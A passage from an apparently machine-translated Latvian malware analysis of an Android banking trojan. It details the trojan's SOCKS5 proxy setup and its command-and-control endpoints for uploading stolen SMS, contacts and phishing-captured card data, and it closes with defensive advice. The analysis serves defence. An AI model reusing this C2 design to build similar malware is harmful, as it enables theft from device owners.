Kad tiek saņemta komanda connectId (lai izveidotu jaunu savienojumu) CommandConnection izveido klases gadījumu Starpniekservera savienojums.
- Starpniekserverī piedalās divas klases: Starpniekservera savienojums и beigas. Veidojot klasi Starpniekservera savienojums pieslēdzoties adresei ProxyConfigClass.host: ProxyConfigClass.proxyPort un nododot JSON objektu:
{
"id":<%connectionId%>
}
Atbildot uz to, serveris nosūta SOCKS5 ziņojumu, kurā ir norādīta attālā servera adrese, ar kuru ir jāizveido savienojums. Mijiedarbība ar šo serveri notiek caur klasi beigas. Savienojuma iestatījumu shematiski var attēlot šādi:

Tīkla mijiedarbība
Lai novērstu trafika analīzi, ko veic tīkla sniffers, mijiedarbību starp CnC serveri un lietojumprogrammu var aizsargāt, izmantojot SSL protokolu. Visi pārsūtītie dati gan no servera, gan uz to tiek parādīti JSON formātā. Lietojumprogramma darbības laikā izpilda šādus pieprasījumus:
- http://<%CnC%>/api/v1/set_state.php — komandas izpildes rezultāts.
- http://<%CnC%>/api/v1/get.php — komandas saņemšana.
- http://<%CnC%>/api/v1/load_sms.php — īsziņu lejupielāde no inficētas ierīces.
- http://<%CnC%>/api/v1/load_ab.php — kontaktpersonu saraksta augšupielāde no inficētas ierīces.
- http://<%CnC%>/api/v1/aevents.php – pieprasījums tiek veikts, atjauninot parametrus, kas atrodas preferenču failā.
- http://<%CnC%>/api/v1/set_card.php — augšupielādējot datus, kas iegūti, izmantojot pikšķerēšanas logu, kas tiek maskēts kā Google Play tirgus.
- http://<%CnC%>/api/v1/logs.php - žurnāla datu augšupielāde.
- http://<%CnC%>/api/v1/records.php – datu augšupielāde, kas iegūta, izmantojot pikšķerēšanas logus.
- http://<%CnC%>/api/v1/set_error.php – paziņojums par notikušu kļūdu.
Ieteikumi
Lai pasargātu savus klientus no mobilo Trojas zirgu radītajiem draudiem, uzņēmumiem jāizmanto visaptveroši risinājumi, kas ļauj uzraudzīt un novērst ļaunprātīgas darbības, neinstalējot lietotāju ierīcēs papildu programmatūru.
Lai to izdarītu, parakstu metodes mobilo Trojas zirgu noteikšanai ir jāpastiprina ar tehnoloģijām, kas analizē gan klienta, gan pašas lietojumprogrammas uzvedību. Aizsardzībā jāiekļauj arī ierīces identifikācijas funkcija, izmantojot digitālo pirkstu nospiedumu tehnoloģiju, kas ļaus saprast, kad konts tiek lietots no netipiskas ierīces un jau ir nonācis krāpnieka rokās.
Principiāli svarīgs punkts ir starpkanālu analīzes pieejamība, kas ļauj uzņēmumiem kontrolēt riskus, kas rodas ne tikai internetā, bet arī mobilajā kanālā, piemēram, mobilās bankas aplikācijās, darījumiem ar kriptovalūtām un jebkuriem citiem, kur darījumus var veikt.finanšu darījums.
Drošības noteikumi lietotājiem:
- neinstalējiet lietojumprogrammas mobilajām ierīcēm ar operētājsistēmu Android no avotiem, kas nav Google Play, pievērsiet īpašu uzmanību lietojumprogrammas pieprasītajām tiesībām;
- regulāri instalējiet OS atjauninājumus Android;
- pievērsiet uzmanību lejupielādēto failu paplašinājumiem;
- neapmeklējiet aizdomīgus resursus;
- Neklikšķiniet uz saitēm, kas saņemtas īsziņās.
Lomās Semjons Rogačova, jaunākais speciālists ļaunprātīgas programmatūras izpētē Group-IB Computer Forensics Laboratory.
Avots: www.habr.com
